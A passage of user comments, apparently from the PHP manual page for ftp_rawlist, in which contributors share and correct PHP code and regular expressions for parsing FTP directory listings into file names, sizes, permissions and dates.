       $mode = str_pad($realmode,9,'-');
       $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
       $mode = strtr($mode,$trans);
       $newmode = '';
       $newmode .= $mode[0]+$mode[1]+$mode[2];
       $newmode .= $mode[3]+$mode[4]+$mode[5];
       $newmode .= $mode[6]+$mode[7]+$mode[8];
       return $newmode;
    }
    function get_size($size)
     {
         if ($size < 1024)
          {
              return round($size,2).' Byte';
          }
         elseif ($size < (1024*1024))
          {
              return round(($size/1024),2).' MB';
          }
         elseif ($size < (1024*1024*1024))
          {
              return round((($size/1024)/1024),2).' GB';
          }
         elseif ($size < (1024*1024*1024*1024))
          {
              return round(((($size/1024)/1024)/1024),2).' TB';
          }
     }

    function get_type($perms)
     {
        if (substr($perms, 0, 1) == "d")
         {
            return 'folder';
         }
        elseif (substr($perms, 0, 1) == "l")
         {
            return 'link';
         }
        else
         {
            return 'file';
         }
     }
?>
ari at bs-inc dot com 17-Oct-2006 10:24
This is a little cleaner:

function parse_rawlist( $array )
{
    foreach($array as $curraw)
    {
        $struc = array();
        $current = preg_split("/[\s]+/",$curraw,9);

        $struc['perms']  = $current[0];
        $struc['number'] = $current[1];
        $struc['owner']  = $current[2];
        $struc['group']  = $current[3];
        $struc['size']  = $current[4];
        $struc['month']  = $current[5];
        $struc['day']    = $current[6];
        $struc['time']  = $current[7];
        $struc['year']  = $current[8];
        $struc['raw']  = $curraw;
        $structure[$struc['name']] = $struc;
    }
   return $structure;

}
kerbpm 15-Sep-2006 11:31
Your code is ok, just replace $i = 0 instead of 1
Thank you

<?php

function parse_rawlist( $array ) {

   for ( $i = 1; $i < count($array); $i++ ) {

       $current = $array[$i];

       $structure[$i]['perms']  = substr($current, 0, 10);
       $structure[$i]['number'] = trim(substr($current, 11, 3));
       $structure[$i]['owner']  = trim(substr($current, 15, 8));
       $structure[$i]['group']  = trim(substr($current, 24, 8));
       $structure[$i]['size']  = trim(substr($current, 33, 8));
       $structure[$i]['month']  = trim(substr($current, 42, 3));
       $structure[$i]['day']    = trim(substr($current, 46, 2));
       $structure[$i]['time']  = substr($current, 49, 5);
       $structure[$i]['name']  = substr($current, 55, strlen($current) - 55);

   }

   return $structure;

}

?>
MSpreij at GMail 10-Sep-2006 02:11
The following was inspired by a few others here, ofcourse ;-)
Works for filenames with spaces (leading, trailing, consecutive and what not), formats the date a little taking year/time into account, leaves out items not in the $filetypes array below, and returns a nice nested assoc array:

<?php

$filetypes = array('-'=>'file', 'd'=>'directory', 'l'=>'link');

$c = ftp_connect('localhost');
ftp_login($c, 'jackcrow', 'banshee');
$data = ftp_rawlist($c, '/users/jackcrow');

foreach($data as $line) {
    if (substr(strtolower($line), 0, 5) == 'total') continue; # first line, skip it
    preg_match('/'. str_repeat('([^\s]+)\s+', 7) .'([^\s]+) (.*)/', $line, $matches); # Here be Dragons
    list($permissions, $children, $owner, $group, $size, $month, $day, $time, $name) = array_slice($matches, 1);
    # if it's not a file, directory or link, I don't really care to know about it :-) comment out the next line if you do
    if (! in_array($permissions[0], array_keys($filetypes))) continue;
    $type = $filetypes[$permissions[0]];
    $date = date('d/m/y H:i', (strpos($time, ':') ? mktime(substr($time, 0, 2), substr($time, -2), 0, $month, $day) : mktime(0,0,0,$month, $day, $time) ) );
    $files[$name] = array('type'=>$type, 'permissions'=>substr($permissions, 1), 'children'=>$children, 'owner'=>$owner, 'group'=>$group, 'size'=>$size, 'date'=>$date);
}

print_r($files);

?>

(I'm using a pretty simple regex pattern (non-space-stuff, whitespace, non-space-stuff etc), but amazingly /it still works!/ K.I.S.S.! The time part in the pattern is done separately to make sure only 1 space is taken out before the filename, which might start with spaces for all you know)
admin at mikeholloway dot co dot uk 03-Dec-2005 11:38
I was having problems picking up the directories on a mac using cjacobsen at pge dot cl's (11-Jan-05) solution. Slight ammendment to the regexp works for me:

ereg("([-dl][rwxstST-]+).* ?([0-9 ]* )?([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)
d dot lloyd at tnw dot tudelft dot nl 27-Sep-2005 03:22
One comment regaring the method tig3r uses to determine the listing type.

Windows servers can return a listing in unix format if the ftp server has been told to use unix formatting. The only robust solution I have is to try both ereg commands once and see which one successfully returns an array.
tig3r at poczta dot onet dot pl 18-Aug-2005 12:31
Previous example (by davidknoll at o2 dot co dot uk) works well if ftp_systype() returned "UNIX", but sometimes I am experiencing "Windows_NT". Here is some improvement:

<?php
function parsed_listing($path)
{
   $conn = ftp_connect(FTP_HOST);
   ftp_login($conn, FTP_USER, FTP_PASS);
   $systype = ftp_systype($conn_id);
   $list = ftp_rawlist($conn, "-a ".FTP_BASE.$path);
   ftp_close($conn);
   $i = 0;

   foreach ($list as $current) {
      switch ($systype) {
         case "Windows_NT":
         ereg("([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)",$current,$split);
         if (is_array($split)) {
            if ($split[3]<70) { $split[3]+=2000; } else { $split[3]+=1900; } // 4digit year fix
            $parsed[$i]['isdir'] = ($split[7]=="<DIR>");
            $parsed[$i]['size'] = $split[7];
            $parsed[$i]['month'] = $split[1];
            $parsed[$i]['day'] = $split[2];
            $parsed[$i]['time/year'] = $split[3];
            $parsed[$i]['name'] = $split[8];
            $i++;
         }
         break;

         case "UNIX":
         default:

// etc.

         break;
      }
   }
   return $parsed;
}
?>
davidknoll at o2 dot co dot uk 14-Jul-2005 01:00
Well, this works for me:

<?php
function parsed_listing($path)
{
    $conn = ftp_connect(FTP_HOST);
    ftp_login($conn, FTP_USER, FTP_PASS);
    $list = ftp_rawlist($conn, "-a ".FTP_BASE.$path);
    ftp_close($conn);
    $i = 0;
    foreach ($list as $current) {
        $split = preg_split("[ ]", $current, 9, PREG_SPLIT_NO_EMPTY);
        if ($split[0] != "total") {
            $parsed[$i]['isdir']        = $split[0]{0} === "d";
            $parsed[$i]['perms']        = $split[0];
            $parsed[$i]['number']    = $split[1];
            $parsed[$i]['owner']        = $split[2];
            $parsed[$i]['group']        = $split[3];
            $parsed[$i]['size']        = $split[4];
            $parsed[$i]['month']        = $split[5];
            $parsed[$i]['day']        = $split[6];
            $parsed[$i]['time/year']    = $split[7];
            $parsed[$i]['name']        = $split[8];
            $i++;
        }
    }
    return $parsed;
}
?>
nate at 8networks dot com 07-May-2005 09:41
this snip fixes the date problem with the listing and sorts out the variables:

$filedata['access_permissions']
$filedata['link_count']
$filedata['uid']
$filedata['gid']
$filedata['size']
$filedata['mod_date_month']
$filedata['mod_date_day']
$filedata['mod_time']
$filedata['name']

list($filedata['access_permissions'], $filedata['link_count'], $filedata['uid'], $filedata['gid'], $filedata['size'], $filedata['mod_date_month'], $filedata['mod_date_day'], $filedata['mod_time'], $filedata['name']) = preg_split("/[\s,]+/", $value);

$filedata['type'] = $filedata['access_permissions']{0};

$filedata['access_permissions'] = substr($filedata['access_permissions'],1);

// now check the date to see if the last modifcation was this year or last.

if ( strrpos($filedata['mod_time'], ':') != 2 ) { $filedata['mod_date'] = $filedata['mod_date_month'] ." " . $filedata['mod_date_day'] . " " . $filedata['mod_time']; $filedata['mod_time'] = "00:00"; } else { $filedata['mod_date'] = $filedata['mod_date_month'] ." " . $filedata['mod_date_day'] . " " . date("Y"); }
john at nm-design dot com 29-Apr-2005 07:14
I'm not a traditional programmer, so I often take a different approach then most programmers. Here's how I get file information from an FTP file list. It's very simple (which I like). Comments are welcome:

    // make your FTP connection calls here, then ...
    $contents = ftp_rawlist($ftp_id, ".");

    echo '<TABLE>';

    foreach ($contents as $key => $value) {

        $info = explode(" ", $value);
        $clean = array();
        foreach ($info as $key => $value) {
            if (!empty($value)) { $clean[] = $value; }
        } // end foreach loop 2

        if ( ($clean[8] != ".") AND ($clean[8] != "..") AND ($clean[8] != "html") AND ($clean[8] != "logs") AND ($clean[8] != "protected") AND ($clean[8] != "sys") ) {
            echo '<TR>';
            print "<TD WIDTH=\"40%\">$clean[8]</TD>"; // name of file
            print "<TD WIDTH=\"20%\" ALIGN=\"CENTER\">$clean[5] $clean[6] $clean[7]</TD>"; // date info
            // prep size
            $size = $clean[4];
            $size = $size / 1000; $size = ceil($size); if ($size <= 0) { $size = 1; }
            if ($size >= 1000) { $measure = "MB"; $size = $size /  1000; } else { $measure = "K"; }
            print "<TD WIDTH=\"20%\" ALIGN=\"CENTER\">$size $measure</TD>"; // size
            echo '<TD WIDTH="20%" ALIGN="CENTER" BGCOLOR="#FFFFE6" CLASS="bodyBold">'; print "<A HREF=\"$PHP_SELF?Submit=DELETE&file=$clean[8]\">"; echo 'DELETE</A></TD>'; // link to delete file
            echo '</TR>';
        } // end if

    } // end foreach loop 1

    echo '</TABLE>';
marc dot peterlongo at francetelecom dot com 03-Feb-2005 11:57
When you try:

$path = "directory pathname with spaces";
$list = ftp_rawlist($conn_id,$path);

It doesn't work

but when you try:

$path = "directory pathname with spaces";
ftp_chdir($conn_id,$path);
$list = ftp_rawlist($conn_id,".");

It works
cjacobsen at pge dot cl 11-Jan-2005 02:44
Excelent expresion, but don't match SUID, SGUI and Sticky flags when 'x' is disabled. Fix it with [rwxstST-].

<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxstST-]+).* ([0-9]*) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
greg at upsdn dot net 20-Dec-2004 08:58
list all (including hidden files and dirs):
<?php
  $contents = ftp_rawlist($conn_id, "-al ".$dir_name);
?>

just as ftp command:
LIST al

"-aF " is equal to '-al', please refer to "ls --help"
greg at upsdn dot net 26-Nov-2004 07:55
The previous regular expression(by Jonathan Almarez,ergye at yahoo dot com and guru at virusas dot lt) is very good.But i found it does not  take into account for directories(number>9)

Change [0-9] to [0-9]*

The code below not only parses:
drwxrwxr-x     9 msik     ia           4096 Nov  5 14:19 Group3

It also parses:
drwxrwxr-x   19 msik     ia           4096 Nov  5 14:19 Group3
3
drwxrwxr-x   119 msik     ia           4096 Nov  5 14:19 Group3
3

0 = file
1 = directory
2 = simlink
<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxst-]+).* ([0-9]*) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
Jonathan Almarez 25-Nov-2004 12:16
To make the latest correction to the parsing code:

"ergye at yahoo dot com" dosen't take into account for files or directories that are older than a year where instead of showing the time, it shows the year.

The code below not only parses:
drwxrwxr-x   2 503      503          4096 Dec  3 12:12 CVAR

It also parses:
drwxrwxr-x   2 503      503          4096 Dec  3  2003 CVAR

0 = file
1 = directory
2 = simlink
<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
23-Oct-2004 04:53
Note that there is no standard for the format, therefore don't be suprised when parsing routines for this work perfectly on some servers, and fail horribly on some.
ergye at yahoo dot com 30-Sep-2004 06:52
The previous regular expression is super, but does not take simlinks into account. Change [-d] to [-dl] and instead of indicating directories we should indicate the type of the items:

0 = file
1 = directory
2 = simlink

<?php

function itemize_dir($contents) {
    foreach ($contents as $file) {
        if(ereg("([-dl][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)", $file, $regs)) {
            $type = (int) strpos("-dl", $regs[1]{0});
            $tmp_array['line'] = $regs[0];
            $tmp_array['type'] = $type;
            $tmp_array['rights'] = $regs[1];
            $tmp_array['number'] = $regs[2];
            $tmp_array['user'] = $regs[3];
            $tmp_array['group'] = $regs[4];
            $tmp_array['size'] = $regs[5];
            $tmp_array['date'] = date("m-d",strtotime($regs[6]));
            $tmp_array['time'] = $regs[7];
            $tmp_array['name'] = $regs[8];
        }
        $dir_list[] = $tmp_array;
    }
    return $dir_list;
}

$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
guru at virusas dot lt 03-Sep-2004 12:31
Lets say only one of these scripts can accept filenames with spaces, but that script doesn't return all info that we may need, so i have modified a little bit one of my script and added some more regexp from here:

<?

$buff = ftp_rawlist($cid,"/");
foreach ($buff as $file)
{
      if(ereg("([-d][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)",$file,$regs))
    {
        if(substr($regs[1],0,1)=="d") $isdir=1; else $isdir=0;
        $tmp_array['line']=$regs[0];
        $tmp_array['isdir']=$isdir;
        $tmp_array['rights']=$regs[1];
        $tmp_array['number']=$regs[2];
        $tmp_array['user']=$regs[3];
        $tmp_array['group']=$regs[4];
        $tmp_array['size']=$regs[5];
        $tmp_array['date']=date("m-d",strtotime($regs[6]));
        $tmp_array['time']=$regs[7];
        $tmp_array['name']=$regs[8];
     }
    $dir_list[]=$tmp_array;
}

?>

The result is smth like that:

  8 =>
    array
      'line' => '-rw-r--r--   1 guru     users           4 Sep  3 09:41 testas testas testas.txt'
      'isdir' => 0
      'rights' => '-rw-r--r--'
      'number' => '1'
      'user' => 'guru'
      'group' => 'users'
      'size' => '4'
      'date' => '09-03'
      'time' => '09:41'
      'name' => 'testas testas testas.txt'
  9 =>
    array
      'line' => 'drwxr-xr-x   3 guru     users        4096 Aug 20 08:54 upload'
      'isdir' => 1
      'rights' => 'drwxr-xr-x'
      'number' => '3'
      'user' => 'guru'
      'group' => 'users'
      'size' => '4096'
      'date' => '08-20'
      'time' => '08:54'
      'name' => 'upload'

Home this will help someone
eros at speedy dot com dot ar 01-Sep-2004 11:06
NO, NO, NO.

The above examples are all wrong, the spaces given in array are not there "just because", its just a tabbed structure. In php we don't have structures like in c/cpp, but the following function will do the job.

<?php

function parse_rawlist( $array ) {

    for ( $i = 1; $i < count($array); $i++ ) {

        $current = $array[$i];

        $structure[$i]['perms']  = substr($current, 0, 10);
        $structure[$i]['number'] = trim(substr($current, 11, 3));
        $structure[$i]['owner']  = trim(substr($current, 15, 8));
        $structure[$i]['group']  = trim(substr($current, 24, 8));
        $structure[$i]['size']   = trim(substr($current, 33, 8));
        $structure[$i]['month']  = trim(substr($current, 42, 3));
        $structure[$i]['day']    = trim(substr($current, 46, 2));
        $structure[$i]['time']   = substr($current, 49, 5);
        $structure[$i]['name']   = substr($current, 55, strlen($current) - 55);

    }

    return $structure;

}

?>
soon7 at wanadoo dot fr 14-Jul-2004 11:17
Hi all !
ther is a litlle mistake in the naivesong 's message .
Indeed , you stop to parse too early ...
I tried and fix it like this :
<?
// getting the list
  $list = ftp_rawlist ($ftp_stream, $ftp_directory);
   $folders = array();
   $files = array();
   $links = array();
   for ($i=0; $i<count($list); $i++)
   {
        //----convert tabs to blanks
        //----delete multiple blanks
// Here begin my modifications
list ($permissions, $list[$i]) = parsenext ($list[$i]);
     list ($number, $list[$i]) = parsenext ($list[$i]);
     list ($owner, $list[$i]) = parsenext ($list[$i]);
     list ($group, $list[$i]) = parsenext ($list[$i]);
     list ($size, $list[$i]) = parsenext ($list[$i]);
     list ($timeMonth,$list[$i]) = parsenext ($list[$i]);
     list ($timeDay,$list[$i]) = parsenext ($list[$i]);
     list ($timeTime,$list[$i]) = parsenext ($list[$i]);
     $filename=$list[$i];
// by taking $filename in last position , it works even if there is some space in its name
//then we put it in the m array with the new things
//----ok, put all this into the related array
if ($filename != "." && $filename != "..")
     {
       $m = array();
       $m["name"] = $filename;
       $m["link"] = $filelink;
       $m["size"] = afficherPoidsFichier($size);
       $m["month"] = $timeMonth;
       $m["day"] = $timeDay;
       $m["time"] = $timeTime;
       $m["owner"] = $owner;
       $m["group"] = $group;
       $m["permissions"] = $permissions;
       if (substr($permissions, 0, 1) == "d")
         $folders[count($folders)] = $m;
       else if (substr($permissions, 0, 1) == "l")
         $links[count($files)] = $m;
       else
         $files[count($files)] = $m;
     }
   }
// you can sort $folders , $files , $links after if u want
// afficherPoidsFichier($size) is a little function i found in this site at filesize() , works good !
// Just give the good size
function afficherPoidsFichier($size) {
  $sizes = Array('o', 'Ko', 'Mo', 'Go');
  $ext = $sizes[0];
  for ($i=1; (($i < count($sizes)) && ($size >= 1024)); $i++) {
   $size = $size / 1024;
   $ext  = $sizes[$i];
  }
  return round($size, 2).' '.$ext;
}
?>
naivesong at matiasmoreno dot com dot ar 25-Mar-2004 05:53
I'm afraid I forgot the "parsenext" function in my previous note. Here it is:

<?php

    function parsenext ($s)
    {
      $k = strpos ($s, " ");
      $m = array();
      $m[0] = substr($s, 0, $k);
      $m[1] = substr($s, $k+1);
      return $m;
    }

?>
naivesong at matiasmoreno dot com dot ar 25-Mar-2004 07:41
This script will properly handle FTP servers where the returned date/time differs from the generic mm-dd-YYYY hh:mm:ss format:

<?php

    $list = ftp_rawlist ($ftp_stream, $ftp_directory);

    $folders = array();
    $files = array();
    $links = array();
    for ($i=0; $i<count($list); $i++)
    {
      //----convert tabs to blanks
      $list[$i] = str_replace ("\t", " ", $list[$i]);
      //----delete multiple blanks
      while (($k = strpos($list[$i], "  ")) !== FALSE)
        $list[$i] = substr($list[$i],0,$k+1).trim(substr($list[$i],$k));
      //----split link reference from filename where available
      if (($k = strpos($list[$i], " -> ")) !== FALSE)
      {
        $filelink = substr($list[$i], $k+4);
        $list[$i] = substr($list[$i], 0, $k);
      }
      else
        $filelink = "";
      //----parse filename
      $k = strrpos($list[$i], " ");
      $filename = substr($list[$i], $k+1);
      $list[$i] = substr($list[$i], 0, $k);
      //----parse the rest of info
      list ($permissions, $list[$i]) = parsenext ($list[$i]);
      list ($number, $list[$i]) = parsenext ($list[$i]);
      list ($owner, $list[$i]) = parsenext ($list[$i]);
      list ($group, $list[$i]) = parsenext ($list[$i]);
      list ($size, $time) = parsenext ($list[$i]);
      //----ok, put all this into the related array
      if ($filename != "." && $filename != "..")
      {
        $m = array();
        $m["name"] = $filename;
        $m["link"] = $filelink;
        $m["size"] = $size;
        $m["time"] = $time;
        $m["owner"] = $owner;
        $m["group"] = $group;
        $m["permissions"] = $permissions;
        if (substr($permissions, 0, 1) == "d")
          $folders[count($folders)] = $m;
        else if (substr($permissions, 0, 1) == "l")
          $links[count($files)] = $m;
        else
          $files[count($files)] = $m;
      }
    }
    sort ($folders);
    sort ($files);
    sort ($links);

?>

This script works fine on any raw list that complies with the following format:

permissions number owner group size time name [" -> " link_to]

where time may have whatever format the FTP server wants. ;-)

It also returns folders, files and links in separated sorted lists (got this idea from the note of "postmaster at alishomepage dot com" in this help page).
josh at snaphat dot com 30-Jan-2004 04:23
I fixed jmv AT jmvware DOT com's script:
<?php

$dirline=ereg_replace(" +",' ',$dirline);
$isdir=0;
if (ereg('^d',$dirline)) $isdir=1;
list($permissions,$num,$owner,$group
,$size,$month,$day,$year_time,$name)=split(' ',$dirline);

//added the next lines:
$fix=explode(' ',$dirline);
$fixsize=count($fix);
 if($fixsize > 8)
 {
  for($start=9;$start<$fixsize;$start++)
  {
   $name.=" " . $fix[$start];
  }
 }
?>
06-Jan-2004 12:40
If you write
<?php
rawlist ($ftp, "-a");
?>
The command will be "LIST -a", so the retuned list will also contain hidden files like ".htaccess".

In this case all files and folders of the current directory are contained.
To list another folder, you must change to it with "ftp_chdir".
moonglobe3739 [ A t ] hotmail .com 02-Nov-2003 01:16
hope this helps someone:
<?php
$list = ftp_rawlist($ftp_stream,$dir);
$dirc = array();
foreach ($list as $file)
{
    list($perms,$owner,$group,$size,$mtime,$fname) =
    preg_match('#^([bcdlsp-][rwxtTsS-]{9})\s+(?:[0-9]+)\s+'.
               '([a-zA-Z]+)\s+([a-zA-Z]+)\s+([0-9]+)\s+'.
               '([A-Z][a-z]+ [0-9]{1,2} [0-9]{4} [0-9]{2}:[0-9]{2}) (.*)$#',$file);
    $dirc[$fname]['permissions'] = $perms;
    $dirc[$fname]['owner']       = $owner;
    $dirc[$fname]['group']       = $group;
    $dirc[$fname]['size']        = $size;
    $dirc[$fname]['modtime']     = $mtime;
}
?>
postmaster at alishomepage dot com 19-Oct-2003 02:39
Here we go for a 100% working code... :D

<?

[code]

function cutspaces($str){
    while(substr($str,0,1)==" "){$str=substr($str,1);}
    return $str;}

[code]

$folders=array();
$files=array();
for($i=0;$i<sizeof($list);$i++){
    list($permissions,$next)=split(" ",$list[$i],2);
    list($num,$next)=split(" ",cutspaces($next),2);
    list($owner,$next)=split(" ",cutspaces($next),2);
    list($group,$next)=split(" ",cutspaces($next),2);
    list($size,$next)=split(" ",cutspaces($next),2);
    list($month,$next)=split(" ",cutspaces($next),2);
    list($day,$next)=split(" ",cutspaces($next),2);
    list($year_time,$filename)=split(" ",cutspaces($next),2);
    if($filename!="." && $filename!=".."){
        if(substr($permissions,0,1)=="d"){
            $folders[]=$filename;
        } else {
            $files[]=$filename;}}}
sort($folders);
sort($files);

[code]

?>

so this will simply "get" all the information WITHOUT being in any case interfered with some spaces, ... etc etc... It will even put files in a $files array and folders in a $folders array, and sort them, so you will be able of using all this later

and: the "folders" will NOT contain "." and ".." ;)

so you can use all this to make a beautiful FTP interface... later on you could for example put permissions and etc etc in other arrays to use them in your result... cute....
postmaster at alishomepage dot com 19-Oct-2003 02:05
Another "formula" for decoding the rawlist: the ide is that normaly a "ls" contains info like below:

<file rights> <number> <owner> <group> <date> <time> <filename>

and: the "time" contains a ":" (which is NOT contained in any of the other infos -if we reversely read the array)

and, in the case the "time" would not exist, i have done a "protection script" that would try to find out using the year... Yet that may NOT always work since a user name or group name MAY contain an item like "1999" etc... (and i did not check the date format reversely -on the filename first- since a probability of presence is higher of a date is MUCH higher in a filename)

So here we go:

<?

[... code ...]

$fnTest=array("198","199","200","201","202");

[... code ...]

$j=0;
$strrpos=strrpos($list[$i],":");
while($strrpos==0){
    $strrpos=strpos($list[$i],$fnTest[$j]);
    $j++;}
if($j){
    $strrpos+=2+strlen($fnTest[$j]);
}else{
    $strrpos+=4;}
$elmt=substr($list[$i],$strrpos);

[... code ...]

?>

and $elmt would *normally* contain the info we want... but i'm still working on it!
Svenne Burner 02-Aug-2003 03:12
If you want to use explode, for all files in a dir, or something..

Use:

$rawlist[$i][$x] = ereg_replace( "([\x20]+)", "\x20", $rawlist[$i][$x]);

/*
$rawlist[$i][$x] = explode("\x20", $rawlist[$i][$x]);

echo $rawlist[$i][$x][$k] . "<br>";
*/

Why?:
The output prints a different amount of spaces.
jmv AT jmvware DOT com 14-May-2003 11:27
Seems it doesn't have to be so complicated:

$dirline=ereg_replace(" +",' ',$dirline);
$isdir=0;
if (ereg('^d',$dirline)) $isdir=1;
list($permissions,$num,$owner,$group
,$size,$month,$day,$year_time,$name)=split(' ',$dirline);
murasame at danzers dot org 03-Jun-2002 03:11
I tweaked the regexp above and used it like this in a for-loop:

...
ereg("([-d])([rwxst-]{9}).* ([0-9]*) ([a-zA-Z]+[0-9: ]* [0-9]{2}:?[0-9]{2}) (.+)", $raw[$i], $regs)

$out[] = array("is_dir" =>
  ($regs[1] == "d") ? true : false,
 "mod" => $regs[2],
 "size" => $regs[3],
 "time" => $regs[4],
 "name" => $regs[5],
 "raw" => $regs[0]);
...

the previous version couldn't handle old dates which are in format 'M d Y' instead of 'M d H:i' correctly
maikdemaSPAM at yahooMAPS dot com 28-Mar-2002 12:27
L8 ereg mask (directory?, size, name):

ereg("([-d])[rwxst-]{9}.* ([0-9]*) [a-zA-Z]+ [0-9: ]*[0-9]
(.+)",$dirline,$regs);

I've tried this, and it works fine if the name of the file has not a number in the first letter. for example, if I have a file named "1file.exe", it shows "file.exe"; and if I've a file named "010102.exe" it shows ".exe" only.
I've improved it by doing this:

if(ereg("([-d])[rwxst-]{9}.* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)",$dirline,$regs))
{
            if($regs[1]=="d") $dirinfo[0] = 1;
            $dirinfo[1] = $regs[2];
            $dirinfo[2] = $regs[3];
            $dirinfo[3] = $regs[4];
            $dirinfo[4] = $regs[5];
}
$dirinfo[0] => is a directory? (1=yes)
$dirinfo[1] => file size
$dirinfo[2] => file date
$dirinfo[3] => file time
$dirinfo[4] => file name

and now works with all filename formats!
ryan at wonko dot com 21-Mar-2002 04:32
[[ Editors note: Seems it was fixed in PHP 4.3.0 ]]
A note to developers using PHP on Windows servers: as of PHP 4.1.2, ftp_rawlist() is broken in the Windows build of PHP. It will return nothing at all, even if the same code works fine on UNIX. So if you're going crazy trying to figure out why the function isn't returning anything, stop wasting your time, you're not doing anything wrong. Hopefully this will get fixed in future versions, although it's apparently been an issue since at least 4.0.6.

More info on this bug is at http://bugs.php.net/bug.php?id=16057
cialdi at firenze dot net 29-Jun-2001 06:24
the second parameter accepts also standard arguments of /bin/ls command like "-l" or "-t"
php at smintman dot com 26-May-2001 03:35
An example script for rekursiv directory analysis ... interesting are the ereg functions for spliting the content based on the system type...
 (http://beben.lanparty.de/smint/ftp_rekdiranalys.phps)

<?php
function analysedir($dirline)
{
    global $systyp,$ftp_server,$stop;

    if(ereg("([-dl])[rwxst-]{9}",substr($dirline,0,10))) {
        $systyp = "UNIX";
    }

    if(substr($dirline,0,5) == "total") {
        $dirinfo[0] = -1;
    } elseif($systyp=="Windows_NT") {
        if(ereg("[-0-9]+ *[0-9:]+[PA]?M? +<DIR> {10}(.*)",$dirline,$regs)) {
            $dirinfo[0] = 1;
            $dirinfo[1] = 0;
            $dirinfo[2] = $regs[1];
        } elseif(ereg("[-0-9]+ *[0-9:]+[PA]?M? +([0-9]+) (.*)",$dirline,$regs)) {
            $dirinfo[0] = 0;
            $dirinfo[1] = $regs[1];
            $dirinfo[2] = $regs[2];
        }
    } elseif($systyp=="UNIX") {
        if(ereg("([-d])[rwxst-]{9}.* ([0-9]*) [a-zA-Z]+ [0-9: ]*[0-9] (.+)",$dirline,$regs)) {
            if($regs[1]=="d")    $dirinfo[0] = 1;
?>
            $dirinfo[1] = $regs[2];
            $dirinfo[2] = $regs[3];
        }
    }

    if(($dirinfo[2]==".")||($dirinfo[2]=="..")) $dirinfo[0]=0;

    // array -> 0 = switch, directory or not
    // array -> 1 = filesize (if dir =0)
    // array -> 2 = filename or dirname

    return $dirinfo;
}

function rekdir($dir)
{
    global $conn_id,$filetyps,$exectyps,$ftp_server,$banlist,$size,$ssize;

    echo "<b>$dir</b><br>";

    $dirlist = ftp_rawlist($conn_id,"");

    for($i=0;$i<count($dirlist);$i++) {
        $dirinfo = analysedir($dirlist[$i]);

        if($dirinfo[0]==1) {
            $newdir = "$dir/$dirinfo[2]";

            if(($dirinfo[2]=="~")||(substr($dirinfo[2],0,1)==" "))
                $chdir=ftp_chdir($conn_id,$newdir);
            else    $chdir=ftp_chdir($conn_id,$dirinfo[2]);

            $stop = 0;
//            for($k=0;($k<count($banlist))&&(!$stop);$k++) {
//                if(strpos($newdir,$banlist[$k])!=0) $stop=1;
//            }

            if(!$stop && $chdir) {
                rekdir($newdir);
            }

            if(!ftp_chdir($conn_id,$dir))    ftp_cdup($conn_id);
        } elseif($dirinfo[0]==0) {
            echo "$dirinfo[2]<br>";

            $size += $dirinfo[1];
        }

    }

}

$conn_id = ftp_connect($ftp_server);
$login_result = @ftp_login($conn_id, $user, $password);

if ($login_result) {
    $real_systyp = ftp_systype($conn_id);
    $systyp = $real_systyp;
    echo "scanning... $systyp<br>";

    rekdir("");

